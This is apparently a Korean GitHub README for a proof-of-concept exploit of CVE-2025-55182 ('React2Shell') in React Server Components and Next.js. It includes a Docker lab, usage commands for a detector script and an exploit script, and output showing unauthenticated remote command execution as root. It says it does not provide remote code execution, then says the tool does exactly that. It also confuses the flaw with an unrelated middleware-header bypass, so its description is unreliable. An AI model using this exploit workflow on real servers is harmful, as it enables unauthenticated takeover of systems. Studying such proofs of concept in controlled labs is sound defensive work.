nehkark/cve-2025-55182PoC: CVE-2025-55182 (React) 및 CVE-2025-66478 (Next.js)
저자는 이 연구로 인한 오용이나 피해에 대해 책임을 지지 않습니다
교육 및 방어 목적으로만 제공됩니다
이 저장소는 CVE-2025-55182 및 그 중복인 CVE-2025-66478에 대한 소규모 실험실 및 Proof-of-Concept 분석을 포함합니다. 이 CVE들은 Next.js React Server Components (RSC) 및 미들웨어 권한 부여 우회 동작과 관련됩니다.
이 PoC의 목표는 취약점에 필요한 내부 요청 흐름 조건을 재현하고, 미들웨어 동작을 분석하며, 특정 구성에서 x-middleware-subrequest가 보호된 경로에 어떤 영향을 미치는지 이해하는 것입니다.
이 저장소는 원격 코드 실행을 제공하지 않습니다
통제된 환경에서 다음을 연구할 수 있습니다:
현재 NVD는 CVE-2025-66478을 다음과 같이 분류합니다:
Rejected reason: This CVE is a duplicate of CVE-2025-55182
동작은 여전히 존재합니다. 단지 통합 과정에서 식별자만 변경되었습니다.
x-middleware-subrequest: 1
X-Powered-By: Next.js
x-middleware-rewrite: /...
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Url, Accept-Encoding
nextjs-vuln/
│
├── Dockerfile
├── package.json
├── middleware.js
│
└── app/
├── page/
│ └── index.js
│
├── protected/
│ └── page.js
│
└── api/
└── admin/
└── secret/
└── route.js
docker build -t nextjs-vuln .
docker run -p 3000:3000 nextjs-vuln
이 저장소에는 다음을 분석하기 위한 도우미 스크립트 NextJs.py가 포함되어 있습니다:
예:
python3 NextJs.py -u http://localhost:3000
krakhen@kapz:~$ python3 NextJs.py -u http://localhost:3000
Next.js React2Shell Passive Detector
------------------------------------
[+] Target URL : http://127.0.0.1:3000
[+] Timeout : 10s
[+] TLS verify : enabled
=== Fingerprint ===
- Next.js detected via headers.
- React Server Components (RSC) detected.
- Inferred Next.js generation: Next.js (generation unclear)
=== React2Shell Probe ===
- Benign React Flight gadget executed and returned marker digest.
- This strongly suggests React2Shell / CVE-2025-55182 style vulnerability.
=== Summary ===
Timestamp (UTC): 2025-12-05T22:04:25.089044+00:00
Target : http://127.0.0.1:3000
HTTP status : 500
Digest : REACT2SHELL_PROBE
Verdict : LIKELY_VULNERABLE to React2Shell-style exploit path
Response body (truncated):
0:{"a":"$@1","f":"","b":"development"} 1:E{"digest":"REACT2SHELL_PROBE","message":"NEXT_REDIRECT","stack":[],"env":"Server"}
이 도구를 사용하면 인증 없이 원격으로 코드를 실행할 수 있습니다.
사용법:
krakhen@kapz:~/$ python poc-cve-2025-55182.py -u http://127.0.0.1:3000 -c "uname -a"
React2Shell PoC - CVE-2025-55182
---------------------------------
[+] Target URL : http://127.0.0.1:3000
[+] Command : uname -a
[+] Sending crafted Flight payload...
[+] HTTP status: 500
[✓] RCE confirmed. Command output:
Linux 5596495ec378 6.11.0-29-generic #29-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 13 20:29:41 UTC 2025 x86_64 Linux
krakhen@kapz:~/$ python poc-cve-2025-55182.py -u http://127.0.0.1:3000 -c "whoami"
React2Shell PoC - CVE-2025-55182
---------------------------------
[+] Target URL : http://127.0.0.1:3000
[+] Command : whoami
[+] Sending crafted Flight payload...
[+] HTTP status: 500
[✓] RCE confirmed. Command output:
root
krakhen@kapz:~/$ python poc-cve-2025-55182.py -u http://127.0.0.1:3000 -c "id"
React2Shell PoC - CVE-2025-55182
---------------------------------
[+] Target URL : http://127.0.0.1:3000
[+] Command : id
[+] Sending crafted Flight payload...
[+] HTTP status: 500
[✓] RCE confirmed. Command output:
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
POST / 500 in 10ms
⨯ next/dist/compiled/react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js (3158:34) @ get
⨯ Internal error: Error: NEXT_REDIRECT
at Object.eval [as then] (eval at <anonymous> (/app/node_modules/next/dist/compiled/next-server/app-page.runtime.dev.js:122:67039), <anonymous>:3:132)
at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
digest: "Linux 5596495ec378 6.11.0-29-generic #29-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 13 20:29:41 UTC 2025 x86_64 Linux"
3156 | return (
3157 | (obj = parseInt(value.slice(2), 16)),
> 3158 | response._formData.get(response._prefix + obj)
| ^
3159 | );
3160 | }
3161 | switch (value[1]) {
POST / 500 in 11ms
⨯ next/dist/compiled/react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js (3158:34) @ get
⨯ Internal error: Error: NEXT_REDIRECT
at Object.eval [as then] (eval at <anonymous> (/app/node_modules/next/dist/compiled/next-server/app-page.runtime.dev.js:122:67039), <anonymous>:3:130)
at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
digest: "root"
3156 | return (
3157 | (obj = parseInt(value.slice(2), 16)),
> 3158 | response._formData.get(response._prefix + obj)
| ^
3159 | );
3160 | }
3161 | switch (value[1]) {
POST / 500 in 11ms
⨯ next/dist/compiled/react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js (3158:34) @ get
⨯ Internal error: Error: NEXT_REDIRECT
at Object.eval [as then] (eval at <anonymous> (/app/node_modules/next/dist/compiled/next-server/app-page.runtime.dev.js:122:67039), <anonymous>:3:126)
at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
digest: "uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"
3156 | return (
3157 | (obj = parseInt(value.slice(2), 16)),
> 3158 | response._formData.get(response._prefix + obj)
| ^
3159 | );
3160 | }
3161 | switch (value[1]) {